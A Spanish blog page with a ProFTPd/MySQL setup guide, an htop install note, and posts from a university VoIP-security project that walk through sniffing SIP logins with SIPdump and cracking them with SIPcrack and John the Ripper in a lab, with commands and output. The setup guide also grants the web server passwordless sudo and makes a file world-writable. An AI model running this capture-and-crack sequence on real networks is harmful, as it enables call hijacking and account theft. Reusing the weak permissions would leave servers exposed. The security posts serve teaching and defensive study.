lunes, 21 de noviembre de 2011

Setting Up ProFtpd with MySQL

Prerequisites : MySQL 5 & PHP 5
Download proftpd source
wget ftp://ftp-stud.fht-esslingen.de/pub/Mirrors/ftp.proftpd.net/distrib/source/proftpd-1.3.1.tar.gz
tar xzvf proftpd-1.3.1.tar.gz
cd proftpd-1.3.1 

Configure using:
install_user=root install_group=wheel ./configure --with-modules=mod_sql:mod_sql_mysql:mod_quotatab:mod_quotatab_sql --with-includes=/usr/include/mysql/ --with-libraries=/usr/lib/mysql/ --enable-timeout-linger --enable-timeout-stalled --sysconfdir=/etc --localstatedir=/var --prefix=/usr 
make & make install
Create the /etc/init.d/proftpd as
#!/bin/sh
# $Id: proftpd.init,v 1.1 2004/02/26 17:54:30 thias Exp $
#
# proftpd This shell script takes care of starting and stopping
# proftpd.
#
# chkconfig: - 80 30
# description: ProFTPD is an enhanced FTP server with a focus towards \
# simplicity, security, and ease of configuration. \
# It features a very Apache-like configuration syntax, \
# and a highly customizable server infrastructure, \
# including support for multiple 'virtual' FTP servers, \
# anonymous FTP, and permission-based directory visibility.
# processname: proftpd
# config: /etc/proftp.conf
# pidfile: /var/run/proftpd.pid
# Source function library.
. /etc/rc.d/init.d/functions
# Source networking configuration.
. /etc/sysconfig/network
# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0
[ -x /usr/sbin/proftpd ] || exit 0
RETVAL=0
prog="proftpd"
start() {
echo -n $"Starting $prog: "
daemon proftpd
RETVAL=$?
echo
[ $RETVAL -eq 0 ] && touch /var/lock/subsys/proftpd
}
stop() {
echo -n $"Shutting down $prog: "
killproc proftpd
RETVAL=$?
echo
[ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/proftpd
}
# See how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
status)
status proftpd
RETVAL=$?
;;
restart)
stop
start
;;
condrestart)
if [ -f /var/lock/subsys/proftpd ]; then
stop
start
fi
;;
reload)
echo -n $"Re-reading $prog configuration: "
killproc proftpd -HUP
RETVAL=$?
echo
;;
*)
echo "Usage: $prog {start|stop|restart|reload|condrestart|status}"
exit 1
esac
exit $RETVAL
chmod 755 /etc/init.d/proftpd
Create /etc/proftpd.conf file as
ServerName "FTP Server"
ServerType standalone
ServerIdent on "Servers identifying string"
DeferWelcome on
DefaultServer on
DisplayLogin .welcome # Textfile to display on login
DisplayConnect .connect # Textfile to display on connection
DisplayChdir .firstchdir # Textfile to display on first changedir
UseReverseDNS off
IdentLookups off
Port 21
Umask 002
MaxInstances 15
MaxClientsPerHost 3 "Only ٪m connections per host allowed"
MaxClients 30 "Only ٪m total simultanious logins allowed"
MaxHostsPerUser 1
User nobody
Group nobody
ScoreboardFile /var/proftpd/proftpd.scoreboard
AllowStoreRestart on
AllowRetrieveRestart on
RequireValidShell off
PathDenyFilter "\\.ftp)|\\.ht)[a-z]+$"
DefaultRoot ~
DenyFilter \*.*/
# Some logging formats
LogFormat default "٪h ٪l ٪u ٪t \"٪r\" ٪s ٪b"
LogFormat auth "٪v [٪P] ٪h ٪t \"٪r\" ٪s"
LogFormat write "٪h ٪l ٪u ٪t \"٪r\" ٪s ٪b"
# Define log-files to use
TransferLog /var/log/proftpd/proftpd.xferlog
ExtendedLog /var/log/proftpd/proftpd.access_log WRITE,READ write
ExtendedLog /var/log/proftpd/proftpd.auth_log AUTH auth
ExtendedLog /var/log/proftpd/proftpd.paranoid_log ALL default
SQLLogFile /var/log/proftpd/proftpd.mysql
# Set up authentication via SQL
# ===========
AuthOrder mod_sql.c
SQLAuthTypes Backend
#===========================
# CHANGE THE FOLLOWING LINE TO REFLECT YOUR INSTALLATION
#===========================
SQLConnectInfo proftpd_admin@localhost proftpd proftpd
#===========================
SQLUserInfo usertable userid passwd uid gid homedir shell
SQLGroupInfo grouptable groupname gid members
SQLUserWhereClause "disabled=0 and (NOW()<=expiration or expiration=-1 or expiration=0)"
# Log the user logging in
SQLLog PASS counter
SQLNamedQuery counter UPDATE "lastlogin=now(), count=count+1 WHERE userid='٪u'" usertable
# logout log
SQLLog EXIT time_logout
SQLNamedQuery time_logout UPDATE "lastlogout=now() WHERE userid='٪u'" usertable
# display last login time when PASS command is given
SQLNamedQuery login_time SELECT "lastlogin from usertable where userid='٪u'"
SQLShowInfo PASS "230" "Last login was: ٪{login_time}"
# xfer Log in mysql
SQLLog RETR,STOR transfer1
SQLNamedQuery transfer1 INSERT "'٪u', '٪f', '٪b', '٪h', '٪a', '٪m', '٪T', now(), 'c', NULL" xfer_stat
SQLLOG ERR_RETR,ERR_STOR transfer2
SQLNamedQuery transfer2 INSERT "'٪u', '٪f', '٪b', '٪h', '٪a', '٪m', '٪T', now(), 'i', NULL" xfer_stat
# Normally, we want users to do a few things.
<Global>
AllowOverwrite yes
<Limit ALL SITE_CHMOD>
AllowAll
</Limit>
</Global>
mkdir /var/log/proftpd/
Create /etc/logrotate.d/proftpd as 
/var/log/proftpd/*log {
compress
missingok
postrotate
test -f /var/lock/subsys/proftpd && /usr/bin/killall -HUP proftpd
endscript
}
/var/log/proftpd/proftpd.mysql {
compress
missingok
postrotate
test -f /var/lock/subsys/proftpd && /usr/bin/killall -HUP proftpd
endscript
}
Dowload proFTPd Administrator (http://proftpd-adm.sourceforge.net/)
cd /var/www/html
tar xzvf proftpd_admin_v1.2.tar.gz
rm proftpd_admin_v1.2.tar.gzmv proftpd_admin_v1.2/ proftpd_admin/
cd proftpd_admin
edit misc/database_structure_mysql
and change the last 3 lines according to the credentials you have set in /etc/proftpd.conf and then :
mysql -u root -p < misc/database_structure_mysql/db_structure.sql
chmod o+w /var/www/html/configuration.xml
Edit misc/user_script/create_user.sh to
#!/bin/bash
USER=$1
USER_ID=$2
GROUP_ID=$3
mkdir -p --mode=775 /ftp/$USER
chown $USER_ID.$GROUP_ID /ftp/$USER
Then :
chown -R root.root /var/www/html/proftpd_admin/misc/user_script
chmod 700 -R /var/www/html/proftpd_admin/misc/user_script
edit /etc/sudoers files and add the following 2 lines at the end
# Cmnd alias specification
Cmnd_Alias CREATE_USER = /var/www/html/proftpd_admin/misc/user_script/create_user.sh
# User privilege specification
apache ALL=(ALL) NOPASSWD: CREATE_USER
Also make sure that Defaults requiretty is commented out
Securing Installation of Proftpd Admin
vi /etc/httpd/conf.d/dirSecurity.conf
# Secure proftpd_directory both by ip and password
<Directory "/var/www/html/proftpd_admin">
deny from all
Order deny,allow
Allow from <any safe IP>
AuthType Basic
AuthUserFile /etc/httpd/conf/proftpd.htpasswd
AuthName Administration
require valid-user
satisfy All
</Directory>
Then execute
htpasswd -b -c /etc/httpd/conf/proftpd.htpasswd proftp <password>
/etc/init.d/httpd restart
/etc/init.d/mysqld restart
/etc/init.d/proftpd start
And point your browser to http://<server-ip>/proftpd-admin and supply the username & password you created.
Go to the Configure Tab and then the ProFTPd tab and set
Create user command: sudo /var/www/html/proftpd_admin/misc/user_script/create_user.sh

domingo, 20 de noviembre de 2011

Installing HTOP on CentOS 5.

Htop Cool picture logo / htop on CentOS OpenVZ
Lately, I’m basicly using htop‘s nice colourful advanced Linux topcommand frontend in almost every server I manage, therefore I’ve almost abondoned top usage these days and in that reason I wanted to have htop installed on few of the OpenVZ CentOS 5.5 Linux servers at work.
I looked online but unfortunately I couldn’t find any rpm pre-built binary packages. The source rpm package I tried to build from dag wieers repository failed as well, so finally I went further and decided to install htop from source
Here is how I did it:
1. Install gcc and glibc-devel prerequired rpm packages
[root@centos ~]# yum install gcc glibc-devel
2. Download htop and compile from source
[root@centos src]# cd /usr/local/src
[root@centos src]# wget "http://sourceforge.net/projects/htop/files/htop/0.9/htop-0.9.tar.gz/download"
Connecting to heanet.dl.sourceforge.net|193.1.193.66|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 418767 (409K) [application/x-gzip]
Saving to: "download"
100%[======================================>] 418,767 417K/s in 1.0s
2011-07-22 13:30:28 (417 KB/s) - "download" saved [418767/418767]
[root@centos src]# mv download htop.tar.gz
[root@centos src]# tar -zxf htop.tar.gz
[root@centos src]# cd htop-0.9
[root@centos htop-0.9]# ./configure && make && make install
make install should install htop to /usr/local/bin/htop
That’s all folks! , now my OpenVZ CentOS server is equipped with the nifty htop tool ;) 

martes, 9 de agosto de 2011

Seguridad en VoIP (II): Cracking de contraseñas SIP en MS Windows


Siguiendo con los resultados del Proyecto de Fin de Master de María Unda y Sara Rincón, vamos a hablar ahora de cómo crackear contraseñas SIP utilizando herramientas para MS Windows. Quizá os venga bien recordar cómo se producía la autenticación en el protocolo SIP, explicado en el anterior artículo sobre seguridad en VoIP. En la siguiente entrega, nos meteremos con la captura del tráfico de voz ;-)

Cain & Abel

Cain & Abel es una herramienta de recuperación de todo tipo de contraseñas para sistemas Microsoft, las últimas versiones soportan cracking de contraseñas de SIP.

Seguridad en VoIP (I): Cracking de contraseñas SIP en GNU/Linux

Durante la presente edición del Master en Seguridad de la Información en laUniversidad de Deusto he tenido la suerte de dirigir dos proyectos muy buenos sobre Seguridad en VoIP. El primero de ellos, más orientado a la seguridad entre centralitas o PBX, fue realizado por Gaizka Isusquiza, Marcelo Pellón y David Castellanos, y será comentado, muy probablemente, más adelante. El segundo de ellos analizó las herramientas de ataque existentes contra las comunicaciones mediante VoIP y fue realizado por Sara Rincón y María Unda. Durante las siguientes semanas me gustaría ir mostrando todo lo que ellas fueron analizando y probando, e incluso incluiré los vídeos en SWF que realizaron para la presentación final del Proyecto de Fin de Master. Gracias María y Sara por dejarme colgar vuestro material para que todo el mundo lo pueda leer (copyleft rocks!) ;-)

Seguridad en VoIP (I): Cracking de contraseñas SIP en GNU/Linux

Durante la presente edición del Master en Seguridad de la Información en laUniversidad de Deusto he tenido la suerte de dirigir dos proyectos muy buenos sobre Seguridad en VoIP. El primero de ellos, más orientado a la seguridad entre centralitas o PBX, fue realizado por Gaizka Isusquiza, Marcelo Pellón y David Castellanos, y será comentado, muy probablemente, más adelante. El segundo de ellos analizó las herramientas de ataque existentes contra las comunicaciones mediante VoIP y fue realizado por Sara Rincón y María Unda. Durante las siguientes semanas me gustaría ir mostrando todo lo que ellas fueron analizando y probando, e incluso incluiré los vídeos en SWF que realizaron para la presentación final del Proyecto de Fin de Master. Gracias María y Sara por dejarme colgar vuestro material para que todo el mundo lo pueda leer (copyleft rocks!) ;-)

Autenticación en SIP

El protocolo SIP utiliza la autenticación digest para la autenticación de los clientes. La autenticación digest es un mecanismo simple de autenticación desarrollada originalmente para HTTP (se le llama con frecuencia HTTP digest). El mecanismo de autenticación es muy simple, está basado en hashes criptográficos que evitan que se envíe la contraseña de los usuarios en texto claro.
La autenticación digest verifica que las dos partes que se comunican conocen un secreto compartido, que es la contraseña. Cuando un servidor quiere autenticar a un usuario, genera un desafío digest y se lo manda al usuario. Un ejemplo de desafío puede ser el siguiente:
Digest realm="iptel.org", qop="auth,auth-int",
  nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="", algorithm=MD5
Consiste en una serie de parámetros que son enviados al usuario. El usuario entonces utiliza los parámetros para generar una respuesta digest adecuada y enviársela al servidor. Los parámetros del desafío digest son los siguientes:
  1. realm: Es un parámetro obligatorio y debe estar presente en todos los desafíos. Su propósito es identificar las credenciales dentro de un mensaje SIP. Normalmente es el dominio del cual el servidor proxy SIP es responsable.
  2. nonce: es un string de datos generado únicamente cada vez que un servidor genera un desafío digest. Se construye a partir del hash MD5 de algún dato. Dicho dato normalmente incluye un sello de tiempo y la frase secreta (contraseña) que tiene el servidor. De esta manera se asegura que cada nonce tenga un tiempo de vida limitado (que no puede volver a ser usado más tarde) y también es único (ningún otro servidor será capaz de generar el mismo nonce). Los clientes generan la respuesta digest a partir del nonce, así el servidor recibirá el contenido del nonce en una respuesta digest. Normalmente verifica la validez del nonce antes de que compruebe el resto de la respuesta digest. De manera que, el nonce es un tipo de identificador que se asegura de que las credenciales digest recibidas han sido realmente generadas para un desafío digest concreto, y además limita el tiempo de vida de la respuesta digest, evitando que se vuelvan a lanzar ataques en el futuro.
  3. opaque: es un string de datos que se envía al usuario en el desafío. El usuario pasará el string de datos de vuelta al servidor en la respuesta digest. Esto permite a los servidores no mantener información sobre el estado. Si hay algún estado que ellos necesitan mantener entre el desafío y la respuesta, pueden pasárselo al cliente utilizando este parámetro y leerlo otra vez más tarde cuando la respuesta digest venga.
  4. algoritmo: el algoritmo utilizado para calcular los hashes. Sólo está soportado MD5.
  5. qop: la protección de la calidad. Especifica qué esquemas de protección soporta el servidor. El cliente elegirá una opción de la lista. El valor “auth” indica sólamente autenticación, el valor “auth-int” indica autenticación con protección de la integridad.
Después de recibir el desafío digest, un agente de usuario pedirá al usuario el nombre de usuario y la contraseña (si no está preconfgurado), generará la respuesta digest y la enviará al servidor. Una respuesta digest podría ser así:
Digest username="jan", realm="iptel.org",
  nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="sip:iptel.org",
  qop=auth, nc=00000001, cnonce="0a4f113b",
  response="6629fae49393a05397450978507c4ef1", opaque=""
Como podemos ver, la respuesta digest es similar al desadío digest. Los parámetros que coinciden tienen el mismo significado que en el desafío digest. Vamos a describir brevemente sólo los siguientes parámetros:
  1. uri: contiene el uri al que el cliente quiere acceder.
  2. qop: el nivel de protección elegido por el cliente.
  3. nc: contador de nonce, el valor es el contador en hexadecimal del número de peticiones (incluyendo la petición actual) que el cliente ha enviado con el nonce en su petición. Por ejemplo, en la primera petición enviada en respuesta a un nonce dado, el cliente manda “nc=00000001″. La finalidad de esta directiva es permitir que el servidor detecte peticiones de replay manteniendo su propia copia de este contador.
  4. cnonce: el valor es un string proporcionado por el cliente y utilizado tanto por el cliente como por el servidor para evitar ataques de texto plano elegidos, para proporcionar autenticación mutua y protección de la integridad del mensaje.
  5. response: es un string generado por el agente de usuario (cliente) que prueba que el usuario sabe la contraseña.
Desde la recepción de una respuesta digest, el servidor recalcula el valor de la respuesta para comparar, utilizando los atributos que da el cliente y el password almacenado en el servidor. Si el resultado es idéntico a la respuesta recibida desde el cliente entonces dicho cliente está autenticado.
Cuando un servidor SIP recibe una petición SIP y quiere verificar la autenticidad del usuario antes de procesar las peticiones, comprueba si la petición contiene las credenciales de digest. Si no hay credenciales en la petición SIP, generará una respuesta final negativa e incluirá el desafío digest en la respuesta.
Cuando el cliente recibe la respuesta conteniendo el desafío digest, debe calcula la respuesta digest adecuada y enviar la petición de nuevo, esta vez incluyendo las credenciales digest. El servidor entonces verifica la respuesta digest y procesa que la petición se ha realizado con éxito. Los agentes de usuario SIP utilizan la respuesta “401 Unauthorized” para incluir el desafío digest.
Un ejemplo de respuesta SIP que contiene el desafío digest:
SIP/2.0 401 Unauthorized.
Via: SIP/2.0/UDP 218.79.100.193:65030;branch=z9hG4bK1ce21dab.
To: "IPTel844978" <sip:844978@iptel.org>;tag=794fe65c16edfdf45da4fc39
From: "IPTel844978" <sip:844978@iptel.org>;tag=1fd6218e.
Call-ID: 2d471abf-c0fbee95-bee93355-fea1736b@218.79.100.193.
CSeq: 88608141 REGISTER.
WWW-Authenticate: Digest realm="iptel.org", \
  nonce="3f9fc19cf91f65958f664122c1310d4c28cc61a2".
Content-Length: 0.
El siguiente ejemplo muestra un mensaje REGISTER que contiene las credenciales digest.
REGISTER sip:iptel.org SIP/2.0.
Via: SIP/2.0/UDP 195.37.78.121:5060.
From: sip:jan@iptel.org.
To: sip:jan@iptel.org.
Call-ID: 003094c3-bcfea44f-40bdf830-2a557714@195.37.78.121.
CSeq: 102 REGISTER.
User-Agent: CSCO/4.
Contact: <sip:jan@195.37.78.121:5060>.
Authorization: Digest username="jan",realm="iptel.org",
    uri="sip:iptel.org",response="dab81127b9a7169ed57aa4a6ca146184",
    nonce="3f9fc0f9619dd1a712b27723398303ea436e839a",algorithm=md5.
Content-Length: 0.
Expires: 10.
sip01.jpg
Proceso de autenticación en SIP
A través de los mensajes REGISTER, los agentes de usuario SIP informan al servidor de su localización actual de manera que el servidor sepa dónde tiene que enviar peticiones posteriores. Si un servidor no autentica las peticiones REQUEST cualquiera puede registrar cualquier contacto para cualquier usuario, y por lo tanto secuestrar llamadas a dicha persona.
Si un atacante captura los mensajes descritos anteriormente, necesarios para registrar a un cliente en un servidor SIP, es capaz de obtener el hash MD5 de la contraseña que ambos comparten. De esta manera está expuesto a los ataques de fuerza bruta y diccionario.

Herramientas de cracking SIP

SIPcrack

SIPcrack es un programa para crackear las contraseñas del protocolo SIP en GNU/Linux. Contiene dos programas: SIPdump para capturar logins de SIP y SIPcrack para crackear los logins capturados. Podemos descargar el código fuente desde la página oficial http://www.codito.de o PacketStorm http://packetstormsecurity.org:
#  wget http://packetstormsecurity.org/Crackers/SIPcrack-0.1.tar.gz
#  tar xfz SIPcrack-0.1.tar.gz
#  cd SIPcrack-0.1
#  make

Capturando tráfico en un entorno conmutado (switches)

En caso de encontrarnos en una red con switches, para poder capturar los logins SIP será necesario llevar a cabo un ataque “man in the middle”, por ejemplo un ARP poisioning mediante el ettercap. El ettercap se encarga de envenenar la cache ARP tanto del cliente como del servidor SIP de manera que nos lleguen los paquetes que se envían para el registro en SIP y de reenviar dichos paquetes a sus destinatarios originales.

Capturando logins SIP con SIPdump

SIPdump captura logins de SIP, pero también analiza tráfico SIP a partir de una captura en formato pcap que haya capturado previamente otro sniffer, como Tcpdump o Ethereal. Para que SIPdump analice dicha captura especificaremos la ruta donde se encuentre dicho fichero con la opción -f y con -d el fichero donde volcará las capturas SIP que encuentre, en caso de no existir previamente, SIPdump lo creará.
# ./sipdump -f capturaSIP.pcap -d fichdump
SIPdump 0.1       ( MaJoMu | www.remote-exploit.org )

* Using tcpdump data file 'capturaSIP.pcap' for sniffing
* Starting to sniff with filter 'tcp or udp'
* Adding 192.168.0.35:50451 <-> 192.168.0.1:50195 to monitor list...id 0
* New traffic on monitored connection 0 (192.168.0.35 -> 192.168.0.1)
* Found challenge response (192.168.0.35:50451 <-> 192.168.0.1:50195)
* Wrote sniffed login 192.168.0.35 -> 192.168.0.1 (User: '200') to dump file
* Exiting, sniffed 1 logins
Además, SIPdump también puede funcionar como sniffer de logins SIP. Para ello debemos especificar la interfaz de red por la cual vamos a esnifar con la opción -i y el nombre del fichero que contendrá todas las capturas SIP con -d:
# ./sipdump -i eth0 -d captura.dump
SIPdump 0.1 ( MaJoMu | www.remote-exploit.org )

* Using dev 'eth0' for sniffing
* Starting to sniff with filter 'tcp or udp'
Una vez puesto a capturar el SIPdump, en otro host de la red abriremos un softphone que se registre contra un servidor Asterisk y haga una llamada:
*  Adding 192.168.1.35:50451 <-> 192.168.1.100:50195 to monitor list...id 0
*  New traffic on monitored connection 0 (192.168.1.35 -> 192.168.1.100)
*  Found challenge response (192.168.1.35:50451 <-> 192.168.1.100:50195)
*  Wrote sniffed login 192.168.1.35 -> 192.168.1.100 (User: '100') to dump file

Crackeando la contraseña usando SIPcrack

Una vez que tenemos el hash de la contraseña del login SIP que hemos capturado previamente, podremos lanzar dos tipos de ataque contra dicho hash: ataque por diccionario o por fuerza bruta.
Ataque por diccionario
Con la opción -w especificamos que vamos a romper la contraseña a partir de un fichero, en este caso un diccionario. Sino tenemos ningún diccionario de castellano instalamos el paquete wspanish desde el apt.
Con la opción -d le indicamos el fichero en el que hemos capturado previamente el login SIP con el SIPdump.
# apt-get install wspanish
# ./sipcrack -w /usr/share/dict/spanish -d captura.dump
A continuación nos aparecerá la lista de logins SIP, con sus hashes correspondientes, que hemos capturado previamente con el SIPdump, de la cual elegiremos cual queremos crackear.
SIPcrack 0.1 ( MaJoMu | www.remote-exploit.org )
--
* Reading and parsing dump file...
* Found Accounts:
Num Server                Client            User Algorithm        Hash / Password

  1 192.168.1.100         192.168.1.35 100  MD5                   140c0b72f294abd9f4e13eea081a0307

* Select which entry to crack (1 - 1): 1
* Generating static MD5 hash...495ff79e6c8f0378a7c029289a444573
* Starting bruteforce against user '100' (MD5 Hash:
'140c0b72f294abd9f4e13eea081a0307')
* Loaded wordlist: '/usr/share/dict/spanish'
* Tried 47492 passwords in 1 seconds
* Found password: 'hola'
* Updating 'captura.dump'...done
Una vez crackeada la contraseña, la próxima vez que ejecutamos SIPcrack nos la mostrará en texto plano.
Ataque por fuerza bruta
Para realizar este ataque vamos a necesitar el crackeador de contraseñas John the Ripper. Podemos descargarlo desde la página oficial: http://www.openwall.com/john o podemos instalarlo desde el apt:
# apt-get install john
La opción –incremental[=mode] sirve para generar caracteres aleatorios. Mode acepta los siguientes valores:
  1. –incremental=alpha genera letras.
  2. –incremental=digits genera sólo números.
  3. –incremental=all genera caracteres alfanuméricos.
Si no se especifica nada tras la opción ­-incremental, John the ripper probará todas las posibilidades según el fichero de configuración, que se encuentra en /etc/john/john.conf:
[Incremental:All]
File = /usr/share/john/all.chr
MinLen = 5
MaxLen = 5
CharCount = 95

[Incremental:Alpha]
File = /usr/share/john/alpha.chr
MinLen = 5
MaxLen = 5
CharCount = 26

[Incremental:Digits]
File = /usr/share/john/digits.chr
MinLen = 5
MaxLen = 5
CharCount = 10
Con la opción –stdout[:length] lo redirige a la salida estándar. Si conocemos el tamaño máximo de la contraseña a romper podemos especificarlo tras los dos puntos.
Para más información sobre las opciones de John the ripper, en la página oficial hay una documentación online: http://www.openwall.com/john/doc.
Redirigimos la lista de todas las combinaciones posibles a un fichero.
# john --incremental=alpha --stdout > fichero.txt
words: 11881376 time: 0:00:00:03 w/s: 3960458 current: uxjqv
Ahora vamos a romper la contraseña a partir del fichero generado por John the ripper y elegimos el login SIP que vamos a crackear.
# ./sipcrack -w fichero.txt -d captura.dump
SIPcrack 0.1 ( MaJoMu | www.remote-exploit.org )
-----------------------------------------------------------------------------------------------------------------
* Reading and parsing dump file...
* Found Accounts:
Num       Server                  Client              User        Algorithm       Hash / Password
1         192.168.1.100           192.168.1.35        101         MD5             d666ff953dff9b05a54d0457ab671c78
2         192.168.1.100           192.168.1.35        200         PLAIN           hola
3         192.168.1.100           192.168.1.35        200         PLAIN           hola
4         192.168.1.100           192.168.1.35        101         MD5             da08487896afd6920a077661bfd3997d
* Select which entry to crack (1 - 4): 4
* Generating static MD5 hash...495ff79e6c8f0378a7c029289a444573
* Starting bruteforce against user '101' (MD5 Hash:
'da08487896afd6920a077661bfd3997d')
* Loaded wordlist: 'fichero.txt'
* Tried 5585 passwords in 0 seconds
* Found password: 'asdfg'
* Updating 'captura.dump'...done

Video/demostración de este ataque

En http://paginaspersonales.deusto.es/garaizar/VoIP/crackingVoIPGNULinux.html está colgado el video de demostración de este ataque en el entorno de pruebas que prepararon Sara y María.